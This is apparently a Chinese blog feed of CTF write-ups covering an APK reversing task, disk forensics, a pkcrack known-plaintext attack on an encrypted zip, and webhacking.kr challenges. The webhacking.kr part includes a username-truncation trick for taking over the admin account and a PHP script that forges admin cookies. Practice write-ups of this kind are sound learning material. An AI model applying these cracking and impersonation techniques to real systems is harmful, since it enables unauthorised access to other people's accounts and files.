由于二元运算后,两个operand都会从栈上弹出,把结果放栈顶,然后putchar又会用掉,于是有好几处用dup复制了一份,以便下面的计算。我们可以看到,如果输入的数等于33355524,就会把flag打印出来。我计算了前几个输出字符,确实是”FLAG_”

然后后面的就没有算了,想找一个编译器,也没有在本地搭,而是有个在线的网站支持whitespace。把program.cpp复制到代码里,在把33355524放到stdin,运行得到flag


第一次尝试APK的题目

$
0
0

今天遇到一道APK逆向的题目,难度应该是入门级别的。由于之前见到这类题目直接就放弃了,这样还是不太好,于是试着从头开始,查资料把这道题解决了。

题目给的APK在这里。为了做这道题,我把apktool装好了,还翻墙把android sdk安上了。结果模拟器启动太慢了……以后有钱搞一台实机用好了。话说回来这次也基本没有用到模拟器,主要用了dex2jar和jd-gui。

将APK用unzip解压,再用dex2jar,最后用jd-gui得到了java代码。如下:

importandroid.app.Activity;importandroid.app.AlertDialog.Builder;importandroid.content.res.Resources;importandroid.graphics.BitmapFactory;importandroid.os.Bundle;importandroid.telephony.TelephonyManager;importandroid.widget.ImageView;importandroid.widget.Toast;importjava.io.InputStream;importjava.math.BigInteger;importjava.security.MessageDigest;importjavax.crypto.Cipher;importjavax.crypto.spec.IvParameterSpec;importjavax.crypto.spec.SecretKeySpec;publicclassJewelActivityextendsActivity{publicvoidonCreate(BundleparamBundle){super.onCreate(paramBundle);setContentView(2130903040);Stringstr1=((TelephonyManager)getSystemService("phone")).getDeviceId();try{MessageDigestlocalMessageDigest=MessageDigest.getInstance("SHA-256");localMessageDigest.update(str1.getBytes("ASCII"));Stringstr2=newBigInteger(localMessageDigest.digest()).toString(16);if(!str1.substring(0,8).equals("99999991")){newAlertDialog.Builder(this).setMessage("Your device is not supported").setCancelable(false).setPositiveButton("OK",newb(this)).show();return;}if(!str2.equals("356280a58d3c437a45268a0b226d8cccad7b5dd28f5d1b37abf1873cc426a8a5")){newAlertDialog.Builder(this).setMessage("You are not a valid user").setCancelable(false).setPositiveButton("OK",newa(this)).show();return;}}catch(ExceptionlocalException){Toast.makeText(this,localException.toString(),1).show();return;}InputStreamlocalInputStream=getResources().openRawResource(2130968576);byte[]arrayOfByte1=newbyte[localInputStream.available()];localInputStream.read(arrayOfByte1);SecretKeySpeclocalSecretKeySpec=newSecretKeySpec(("!"+str1).getBytes("ASCII"),"AES");IvParameterSpeclocalIvParameterSpec=newIvParameterSpec("kLwC29iMc4nRMuE5".getBytes());CipherlocalCipher=Cipher.getInstance("AES/CBC/PKCS5Padding");localCipher.init(2,localSecretKeySpec,localIvParameterSpec);byte[]arrayOfByte2=localCipher.doFinal(arrayOfByte1);ImageViewlocalImageView=newImageView(this);localImageView.setImageBitmap(BitmapFactory.decodeByteArray(arrayOfByte2,0,arrayOfByte2.length));setContentView(localImageView);}}

由于没有环境,只能静态去分析代码了,好多不懂的地方现查了。从流程上来说,这段代码取出来了device id,检查其前8位是否是99999991,而且要求sha256的hash等于某个指定的值。如果符合要求,就用这个device id来构造key,对一个文件进行AES加密,得到一个BMP图片。

具体地,device id查了下是15 bytes,而前8 bytes确定后,还有7 bytes,大概有10^7种可能,这部分可以通过暴力破解。然后作为AES加密输入的文件,是一个resource,而且这个resource的id是2130968576=0x7f040000。在apktools解码得到的文件res/values/public.xml中发现了这个资源文件是raw/jewel_c.png

于是整体的思路就是,先暴力跑出device id,然后AES加密文件,得到BMP图像。之前也没有用过java,于是也第一次练习了……感觉java的文档写的很不错。下面是我的代码,复制了很多原来代码的东西

importjava.io.*;importjava.math.BigInteger;importjava.security.MessageDigest;importjavax.crypto.Cipher;importjavax.crypto.spec.IvParameterSpec;importjavax.crypto.spec.SecretKeySpec;publicclassMain{publicstaticvoidmain(String[]args){try{StringBuilderstr1=newStringBuilder(15);str1.append("99999991");for(inti=0;i<10000000;i++){str1.replace(8,15,String.format("%07d",i));MessageDigestlocalMessageDigest=MessageDigest.getInstance("SHA-256");localMessageDigest.update(str1.toString().getBytes("ASCII"));Stringstr2=newBigInteger(localMessageDigest.digest()).toString(16);if(str2.equals("356280a58d3c437a45268a0b226d8cccad7b5dd28f5d1b37abf1873cc426a8a5")){System.out.println(str1);InputStreamlocalInputStream=newFileInputStream(newFile("jewel_c.png"));byte[]arrayOfByte1=newbyte[localInputStream.available()];localInputStream.read(arrayOfByte1);SecretKeySpeclocalSecretKeySpec=newSecretKeySpec(("!"+str1.toString()).getBytes("ASCII"),"AES");IvParameterSpeclocalIvParameterSpec=newIvParameterSpec("kLwC29iMc4nRMuE5".getBytes());CipherlocalCipher=Cipher.getInstance("AES/CBC/PKCS5Padding");localCipher.init(2,localSecretKeySpec,localIvParameterSpec);byte[]arrayOfByte2=localCipher.doFinal(arrayOfByte1);FileOutputStreamoutfile=newFileOutputStream("1.bmp");outfile.write(arrayOfByte2);break;}}}catch(Exceptione){e.printStackTrace();}}}

编译运行,得到正确的device id是999999913371337。查看得到的BMP图片,说是flag在comment里面。于是用strings查看,得到flag

总的来说,第一次做APK逆向的题目,考察的知识还是基本的。没有涉及到网络通信,单纯地静态分析下就可以了,所以其实与android关系并不大,只是旧的逆向题装了个新瓶子。但以后做其他的APK题目可能就不会这么容易了。不过对我来说,比windows下面的逆向题要方便多了,ida在我虚拟机里的xp下总是不能用,非常麻烦,所以到现在APK逆向做了这一道,windows的逆向题还没做过……

第一次尝试forensic的题目

$
0
0

话说最近在做的ksnctf里面的题目种类还真是丰富啊,今天遇到一道forensic的题目,也是第一次做这类题。

题目给了一个img文件。我最开始是直接用mount挂载,发现有3个jpg文件,但分析不出来这些图片有没有隐写。

后来在网上搜了下,这道提不是stegano,而是forensic。按照推荐,我安装了autospy,它还需要Sleuth Kit。

安装玩autospy后,启动会得到一个地址http://localhost:9999/autopsy,访问就进到autospy的界面。我创建了一个测试用的case,打开img文件,这下就可以看到很多内容,而不仅仅是之前得到的3副图片。

具体地,有一些文件是处于”Deleted File Recovery Mode”,包括一个Liberty Leading the People.jpg文件。此外,还有从Liberty Leading the People.jpg:00Liberty Leading the People.jpg:06,而这些每个的内容都是3个字符,而从前几个看到了FLAG_。于是将其拼起来,就得到了flag。

对加密的zip文件使用known plain text attack

$
0
0

这道题提示了说对zip文件使用known plain text attack,于是在网上搜了下,这里有一篇论文是关于这个的。

具体论文就没有看了,直接找了现成的实现pkcrack。不过按照作者的要求,需要给他寄明信片,我没有寄诶……

按照要求,破解还需要知道一部分plain text。而加密的flag.zip文件里有一个Standard-lock-key.jpg文件,搜了在网上下找到了这个文件

于是接下来就可以破解了。参考pkcrack的说明,我们运行

$ pkcrack -C ~/Downloads/flag.zip -c Standard-lock-key.jpg -p ~/Downloads/Standard-lock-key.jpg -d ~/1.zip

就得到没加密的压缩文件,解压后可得flag

webhacking.kr challenge 5

$
0
0

打开页面,查看代码发现只有login可用,点击后来到一个登陆页面。试着登陆了下,发现需要登陆admin;而似乎没有找到注入。

紧接着,发现可以直接浏览目录,在该目录下有另一个文件join.php,点进去发现什么都没有。于是查看代码,发现有混淆的js。通过将其内容打印出来,发现需要cookie和URL里包含一定内容才会显示表格。我们直接按照表格内容提交,发现可以注册。

于是试着注册admin,但提示说已经注册过了。参考以前wechall上的一道题,如果username非常长,大于数据库里那个column的设定长度,那么会被截断后添加到数据库。于是我们注册一个用户名为admin%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201这样包含很多空格的用户,注册成功后,再登陆admin即可。

webhacking.kr challenge 6

$
0
0

通过阅读源代码,发现只是简单地将cookie做了些字符替换,再用base64解码了20次。于是我们只需要反过来走一遍即可。大部分代码甚至可以直接用他。

<?php$val_id="admin";$val_pw="admin";for($i=0;$i<20;$i++){$val_id=base64_encode($val_id);$val_pw=base64_encode($val_pw);}$val_id=str_replace("1","!",$val_id);$val_id=str_replace("2","@",$val_id);$val_id=str_replace("3","$",$val_id);$val_id=str_replace("4","^",$val_id);$val_id=str_replace("5","&",$val_id);$val_id=str_replace("6","*",$val_id);$val_id=str_replace("7","(",$val_id);$val_id=str_replace("8",")",$val_id);$val_pw=str_replace("1","!",$val_pw);$val_pw=str_replace("2","@",$val_pw);$val_pw=str_replace("3","$",$val_pw);$val_pw=str_replace("4","^",$val_pw);$val_pw=str_replace("5","&",$val_pw);$val_pw=str_replace("6","*",$val_pw);$val_pw=str_replace("7","(",$val_pw);$val_pw=str_replace("8",")",$val_pw);$url="http://webhacking.kr/challenge/web/web-06/index.php";$ch=curl_init();$cookie="PHPSESSID=ol8a0r79n9j5ocopvd542sslq0; user=".$val_id."; password=".$val_pw;curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_COOKIE,$cookie);curl_exec($ch);curl_close($ch);?>
Viewing all 122 articles
Browse latest View live